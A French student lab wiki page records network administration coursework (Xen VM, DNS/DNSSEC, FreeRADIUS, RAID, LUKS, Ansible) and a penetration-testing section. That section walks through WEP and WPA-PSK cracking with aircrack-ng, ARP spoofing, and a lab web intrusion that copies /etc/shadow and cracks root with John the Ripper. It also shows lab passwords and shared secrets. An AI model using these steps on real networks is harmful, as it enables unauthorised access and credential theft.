belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=<br />
belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=<br />
belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800<br />
<br />
= Tests d'intrusion =<br />
<br />
== Exploitation de failles du système ==<br />
<br />
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. > https://github.com/mzet-/linux-exploit-suggester<br />
<br />
En suivant la documentation :<br />
<br />
$ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh<br />
$ chmod +x les.sh && ./les.sh<br />
<br />
On obtient les failles suivantes (audit réalisé sur notre VM) :<br />
<br />
[+] [CVE-2021-27365] linux-iscsi<br />
...<br />
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write<br />
...<br />
[+] [CVE-2019-13272] PTRACE_TRACEME<br />
...<br />
<br />
== Cassage de clef WEP d’un point d’accès WiFi ==<br />
<br />
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :<br />
<br />
$ airmon-ng<br />
<br />
On trouve l'interface suivante :<br />
<br />
wlx40a5ef0127d0<br />
<br />
On essaie de démarrer l'interface sur le channel 3 :<br />
<br />
$ airmon-ng start wlx40a5ef0127d0 3<br />
<br />
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :<br />
<br />
$ airmon-ng start wlan0mon 3<br />
<br />
On écoute ensuite tous les paquets dans l'air :<br />
<br />
$ airodump-ng wlan0mon<br />
<br />
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.<br />
<br />
$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon<br />
<br />
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :<br />
<br />
$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon<br />
<br />
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :<br />
<br />
$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon<br />
<br />
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.<br />
<br />
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :<br />
<br />
$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap<br />
<br />
On obtient alors :<br />
<br />
KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]<br />
Decrypted correctly: 100%<br />
<br />
== Cassage de mot de passe WPA-PSK par force brute ==<br />
<br />
$ airmon-ng<br />
$ airmon-ng start wlan0mon 9<br />
$ airodump-ng wlan0mon<br />
<br />
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :<br />
<br />
$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon<br />
<br />
On crée le dictionnaire contenant toutes les clefs à tester avec la commande <code>crunch</code><br />
<br />
$ crunch 8 8 0123456789 -o dictionnaire.lst<br />
<br />
Pour savoir si un Handshake a été trouvé, on utilise la commande :<br />
<br />
$ aircrack-ng psk*.cap<br />
<br />
On trouve : <br />
<br />
# BSSID ESSID Encryption<br />
1 44:AD:D9:5F:87:05 kracotte06 WPA (1 handshake)<br />
<br />
On peut alors lancer la commande de test des clefs :<br />
<br />
$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap<br />
<br />
Après un peu d'attente, on obtient la clef suivante :<br />
<br />
KEY FOUND! [ 59906999 ]<br />
<br />
== Attaque de type "homme au milieu" par usurpation ARP ==<br />
<br />
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.<br />
<br />
On fait :<br />
<br />
$ echo 1 > /proc/sys/net/ipv4/ip_forward<br />
<br />
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):<br />
<br />
$ arpspoof -t 172.26.145.61 172.26.145.254<br />
<br />
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.<br />
<br />
== Intrusion sur un serveur d’application Web ==<br />
<br />
Sur honey.plil.info : <br />
<br />
1. injection SQL<br />
<br />
2. connexion en tant qu'admin<br />
<br />
3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)<br />
<br />
4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).<br />
<br />
5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".<br />
<br />
6. connexion en ssh sur rex@honey.plil.info.<br />
<br />
7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :<br />
<br />
$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt<br />
<br />
Et on double la taille des mots :<br />
<br />
$ sed -i 's/\(.*\)/\1\1/' dico.txt<br />
<br />
On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth. <br />
<br />
$ scp rex@honey.plil.info:/etc/passwd .<br />
$ scp rex@honey.plil.info:/etc/shadow .<br />
<br />
On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :<br />
<br />
$ unshadow passwd shadow | head -1 > honey<br />
<br />
Puis on utilise "John the Ripper" pour cracker le mot de passe :<br />
<br />
$ john -w:dico.txt honey<br />
<br />
Après quelques minutes, on peut afficher le mot de passe trouvé :<br />
<br />
$ john --show honey<br />
root:fortfort:0:0:root:/root:/bin/bash<br />
1 password hash cracked, 0 left<br />
<br />
On trouve le mot de passe de root@honey.plil.info qui est "fortfort".<br />
<br />
= Point d'accès Wi-Fi authentifié via FreeRADIUS =<br />
<br />
== Configuration du point d'accès ==<br />
<br />
=== Point d'accès ===<br />
<br />
Tout d'abord il faut configurer l'authentification EAP dans la configuration :<br />
<br />
conf t<br />
<br />
aaa new-model<br />
aaa authentication login eap_rose group radius_rose<br />
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin<br />
aaa group server radius radius_rose<br />
server 193.48.57.181 auth-port 1812 acct-port 1813<br />
exit<br />
<br />
Configurons le SSID :<br />
<br />
conf t<br />
<br />
dot11 ssid SSID_ROSE<br />
vlan 5<br />
authentication open eap eap_rose<br />
authentication network-eap eap_rose<br />
authentication key-management wpa<br />
mbssid guest-mode<br />
exit<br />
exit<br />
<br />
On associe notre SSID à l'interface WIFI :<br />
<br />
conf t<br />
<br />
interface Dot11Radio0<br />
encryption vlan 5 mode ciphers aes-ccm tkip<br />
ssid SSID_ROSE<br />
mbssid<br />
exit<br />
exit<br />
<br />
On paramètre notre VLAN (5)<br />
<br />
conf t<br />
<br />
interface Dot11Radio0.5<br />
encapsulation dot1Q 5<br />
no ip route-cache<br />
bridge-group 5<br />
bridge-group 5 subscriber-loop-control<br />
bridge-group 5 spanning-disabled<br />
bridge-group 5 block-unknown-source<br />
exit<br />
exit<br />
<br />
On configure l'interface filaire<br />
<br />
conf t<br />
<br />
interface GigabitEthernet0.5<br />
encapsulation dot1Q 5<br />
bridge-group 5<br />
exit<br />
exit<br />
<br />
Enfin, on configure l'IP de l'AP et sa gateway<br />
<br />
conf t<br />
<br />
ip default-gateway 10.1.0.1<br />
interface BVI 1<br />
ip address 10.1.0.3 255.255.255.0<br />
exit<br />
exit<br />
<br />
=== Routeur ===<br />
<br />
Commençons par configurer le VLAN 1 <br />
<br />
conf t<br />
<br />
interface vlan 1<br />
ip address 10.1.0.1 255.255.255.0<br />
exit<br />
exit<br />
<br />
Puis on configure le port (ici Gi1/0/3<br />
<br />
conf t<br />
<br />
interface Gi1/0/3<br />
switchport<br />
switchport mode trunk<br />
switchport trunk allowed vlan add 1<br />
exit<br />
exit<br />
<br />
Et voilà mon grand<br />
<br />
== Serveur FreeRADIUS ==<br />
<br />
Installation de freeRADIUS<br />
<br />
apt install freeradius<br />
<br />
On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler<br />
<br />
client zozo {<br />
ipaddr = 10.1.0.3/24<br />
secret = zinzin<br />
}<br />
<br />
ensuite <code>/etc/freeradius/3.0/eap.conf</code><br />
<br />
eap {<br />
[...]<br />
default_eap_type = peap<br />
}<br />
<br />
puis <code>/etc/freeradius/3.0/users</code><br />
<br />
[...]<br />
root Cleartext-Password := "glopglop"<br />
<br />
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus)<br />
<br />
= Réalisations =<br />
<br />
== Sécurisation des données (RAID 5) ==<br />
<br />
Nous avons besoin de 3 LV à rajouter à notre VM :<br />
<br />
$ lvcreate -L1G -n Bellerose-raid1 storage<br />
$ lvcreate -L1G -n Bellerose-raid2 storage<br />
$ lvcreate -L1G -n Bellerose-raid3 storage<br />
<br />
Nous pouvons ainsi les rajouter à la configuration de notre VM (<code>/etc/xen/Bellerose.cfg</code>):<br />
<br />
'phy:/dev/storage/Bellerose-raid1,xvda5,w'<br />
'phy:/dev/storage/Bellerose-raid2,xvda6,w'<br />
'phy:/dev/storage/Bellerose-raid3,xvda7,w'<br />
<br />
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.<br />
<br />
$ apt install mdadm<br />
<br />
On va ensuite créer un disque nommé <code>/dev/md0</code> grâce à <code>mdadm</code> :<br />
<br />
$ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7<br />
<br />
On peut ainsi vérifier que notre RAID 5 est effectif :<br />
<br />
$ lsblk<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
xvda1 202:1 0 512M 0 disk [SWAP]<br />
xvda2 202:2 0 4G 0 disk /<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
xvda5 202:5 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda6 202:6 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
xvda7 202:7 0 1G 0 disk <br />
`-md0 9:0 0 2G 0 raid5 <br />
<br />
Enfin il faut monter ce disque fraîchement créé :<br />
<br />
$ mkfs.ext4 /dev/md0<br />
$ mkdir /media/raid<br />
<br />
on ajoute cette ligne dans <code>/etc/fstab</code> :<br />
<br />
/dev/md0 /media/raid ext4 defaults 0 1<br />
<br />
puis<br />
<br />
$ mount -a<br />
<br />
et toc<br />
<br />
== Chiffrement des données ==<br />
<br />
On branche la clé USB sur le petit PC bleu, et on lance <code>lsblk</code> et on trouve :<br />
<br />
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT<br />
sda 8:0 1 7,2G 0 disk <br />
<br />
Donc on peut formater la clef qui contient déjà quelque chose dessus :<br />
<br />
$ mkfs.ext4 /dev/sda<br />
<br />
Avec <code>cryptsetup</code> on peut initialiser la clef et lui donner un mdp :<br />
<br />
$ cryptsetup luksFormat /dev/sda<br />
<br />
On crée une partition chiffrée sur la clé :<br />
<br />
$ cryptsetup luksOpen /dev/sda data<br />
<br />
Et on formate :<br />
<br />
$ mkfs.ext4 /dev/mapper/data<br />
<br />
On monte cette partition pour lui permettre de contenir des fichiers :<br />
<br />
$ mkdir /mnt/data-usb<br />
$ mount -t ext4 /dev/mapper/data /mnt/data-usb<br />
<br />
On y ajoute donc un fichier de test :<br />
<br />
$ touch /mnt/data-usb/boujour.txt<br />
<br />
Puis on démonte et on ferme le volume chiffré<br />
<br />
$ umont /mnt/data-usb<br />
$ cryptsetup luksClose data<br />
<br />
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.<br />
<br />
= ASR lab project =<br />
<br />
== Ansible hello world ==<br />
<br />
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :<br />
<br />
<code>roles/ssh_key/tasks/main.yml</code><br />
---<br />
<br />
- name: Create .ssh if it does not exists<br />
file:<br />
path: ~/.ssh<br />
state: directory <br />
<br />
- name: Copy authorized_keys<br />
copy:<br />
src: authorized_keys<br />
dest: ~/.ssh/authorized_keys<br />
<br />
Ce dernier prend le fichier <code>../files/authorized_keys</code> (local) et le place dans <code>~/.ssh</code> (vm) après avoir créé ce répertoire si besoin.<br />
<br />
== Iptables ==<br />
<br />
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM<br />
<br />
== Consul ==<br />
<br />
Le fichier <code>roles/consul/tasks/main.yml</code> contient :<br />
<br />
---<br />
<br />
- name: Create consul group<br />
group:<br />
name: consul<br />
state: present<br />
gid: 666<br />
<br />
- name: Create consul user<br />
user:<br />
name: consul<br />
state: present<br />
uid: 666<br />
group: consul<br />
<br />
- name: Create dirs<br />
file:<br />
state: directory<br />
path: "{ { item } }"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- /etc/consul<br />
- /var/lib/consul<br />
<br />
- name: Add HashiCorp key<br />
apt_key:<br />
url: https://apt.releases.hashicorp.com/gpg<br />
state: present<br />
<br />
- name: Add HashiCorp repo<br />
apt_repository:<br />
repo: "deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main"<br />
state: present<br />
update_cache: true<br />
<br />
- name: Install Consul<br />
package:<br />
name: consul<br />
state: present<br />
<br />
- name: Put config<br />
copy:<br />
src: "{{ item }}"<br />
dest: "/etc/consul/{{ item }}"<br />
owner: consul<br />
group: consul<br />
loop:<br />
- config.json<br />
- web.json<br />
<br />
- name: Add consul systemd service file<br />
copy:<br />
src: consul.service<br />
dest: /etc/systemd/system/consul.service<br />
register: systemd<br />
<br />
- name: Deamon reload<br />
systemd:<br />
daemon_reload: true<br />
when: systemd.changed<br />
<br />
- name: Start consul service<br />
systemd:<br />
name: consul<br />
state: restarted<br />
enabled: yes<br />
<br />
Et le fichier <code>roles/consul/files/config.json</code> contient :<br />
<br />
{<br />
"datacenter": "polytech",<br />
"data_dir": "/var/lib/consul",<br />
"log_level": "INFO",<br />
"node_name": "jsp",<br />
"server": true,<br />
"bind_addr": "172.26.145.106",<br />
"bootstrap": true,<br />
"bootstrap_expect": 1,<br />
"ui": true,<br />
"client_addr": "0.0.0.0"<br />
}<br />
<br />
Oui, rien n'est variabilisé mais le principe est là.</div>Lwadbledhttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&diff=57994TP sysres IMA5 2021/2022 G62022-01-12T12:23:27Z<p>Lwadbled : /* Iptables */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
=Création de la machine virtuelle=<br />
<br />
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :<br />
<br />
$ export http_proxy=http://proxy.plil.fr:3128<br />
<br />
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.<br />
<br />
$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.<br />
<br />
$ lvcreate -L10G -n Bellerose1 storage<br />
$ lvcreate -L10G -n Bellerose2 storage<br />
<br />
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :<br />
<br />
$ mkfs.ext4 /dev/storage/Bellerose1<br />
$ mkfs.ext4 /dev/storage/Bellerose2<br />
<br />
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.<br />
<br />
$ vim /etc/xen/Bellerose.cfg<br />
disk = [<br />
'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',<br />
'phy:/dev/storage/Bellerose1,xvda3,w',<br />
'phy:/dev/storage/Bellerose2,xvda4,w'<br />
]<br />
vif = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]<br />
<br />
On peut maintenant lancer notre machine virtuelle :<br />
<br />
$ xl create -c /etc/xen/Bellerose.cfg<br />
<br />
Avec la commande :<br />
<br />
$ cat /etc/fstab<br />
<br />
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :<br />
<br />
$ mkdir /mnt/xvda3<br />
$ mkdir /mnt/xvda4<br />
$ mount /dev/xvda3 /mnt/xvda3<br />
$ mount /dev/xvda4 /mnt/xvda4<br />
<br />
Puis on déplace le répertoire var dans le disque xvda4 :<br />
<br />
$ mv /var/* /mnt/xvda4<br />
<br />
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :<br />
<br />
# /home vers xvda3<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
# /var vers xvda4<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
On monte le tout à l'aide de la commande :<br />
<br />
mount -a<br />
<br />
Enfin avec lsblk, on peut voir les deux partitions de notre VM :<br />
<br />
$ lsblk<br />
xvda3 202:3 0 10G 0 disk /home<br />
xvda4 202:4 0 10G 0 disk /var<br />
<br />
Enfin, nous activons l'IPv6 sur l'interface en modifiant <code>/etc/network/interfaces</code><br />
<br />
iface eth0 inet6 auto<br />
<br />
Pour quitter la VM : CTRL+]<br />
<br />
= Services Internet =<br />
<br />
== Serveur SSH ==<br />
<br />
$ apt install openssh-server<br />
<br />
on édite le fichierde conf <code>/etc/ssh/sshd_config</code> (via ssh key) :<br />
<br />
PermitRootLogin without-password // je l'ai repassé en "yes" suite au mail et le mdp root est celui de pifou habituel <br />
PubkeyAuthentication yes<br />
<br />
après on reload la conf<br />
<br />
$ systemctl reload ssh<br />
<br />
On génère une clé ssh depuis notre zabeth avec <code>ssh-keygen -t ed25519</code> et on l'ajoute dans <code>/.ssh/authorized_keys</code> et c'est gooooood<br />
<br />
== Serveur DNS ==<br />
<br />
on achète le ndd<br />
<br />
on crée un "Glue Record" pour notre nameserver <code>ns1.belle-rose.site</code><br />
<br />
on install bind<br />
<br />
$ apt install bind9<br />
<br />
on configure <code>/etc/resolv.conf</code><br />
<br />
nameserver 127.0.0.1<br />
<br />
on configure bind <code>/etc/bind/named.conf.local</code><br />
<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute nos ns <code>/etc/bind/db.belle-rose.site</code><br />
<br />
;<br />
; BIND dans ta face<br />
;<br />
$TTL 604800<br />
@ IN SOA ns1.belle-rose.site. postmaster.belle-rose.site. (<br />
2 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns1.belle-rose.site.<br />
@ IN NS ns6.gandi.net.<br />
ns1 IN A 193.48.57.181<br />
<br />
Ensuite on peut tester notre conf avec<br />
<br />
$ host -t any ns1.belle-rose.site localhost<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
ns1.belle-rose.site has address 193.48.57.181<br />
<br />
Et on incrémente aussi le Serial dans <code>/etc/bind/db.belle-rose.site</code> à 3.<br />
<br />
== Certificat ==<br />
<br />
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat <code>Let's Encrypt</code>. Après avoir installé <code>certbot</code>, on utilise simplement la commande :<br />
<br />
certbot --apache<br />
<br />
https://www.belle-rose.site/ IZOK<br />
<br />
== DNSSEC ==<br />
<br />
On suit les étapes suivantes :<br />
<br />
1. On ajoute l’option <code>dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code><br />
<br />
2. On crée un répertoire <code>belle-rose.site.dnssec</code> pour y générer les clefs<br />
<br />
3. On crée la clef asymétrique de signature de clefs de zone :<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site<br />
<br />
4. On crée la clef asymétrique de la zone pour signer les enregistrements<br />
<br />
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site <br />
<br />
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
$ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key<br />
$ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key<br />
$ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private<br />
$ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private<br />
<br />
6. On inclue les clefs publiques dans votre fichier de zone <code>/etc/bind/db.belle-rose.site</code>, et on incrémente le numéro de version de la zone ;<br />
<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key<br />
$include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key<br />
<br />
7. On signe les enregistrements de la zone ;<br />
<br />
$ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk<br />
<br />
8. On modifie le fichier <code>named.conf.local</code> pour utiliser la zone signée de suffixe .signed :<br />
<br />
$ vim ../named.conf.local<br />
zone "belle-rose.site" IN {<br />
type master;<br />
file "/etc/bind/db.belle-rose.site.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section "Manage DNSSEC" puis "DNS servers")<br />
<br />
root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key <br />
; This is a key-signing key, keyid 22094, for belle-rose.site.<br />
; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)<br />
belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
<br />
(on copie que la partie chiffrée, pas le record DNSKEY)<br />
<br />
10. Enfin, nous pouvons tester la configuration:<br />
<br />
root@Bellerose:~# host -t any belle-rose.site<br />
belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=<br />
belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F<br />
belle-rose.site name server ns6.gandi.net.<br />
belle-rose.site name server ns1.belle-rose.site.<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=<br />
belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==<br />
belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=<br />
belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut<br />
belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=<br />
belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY<br />
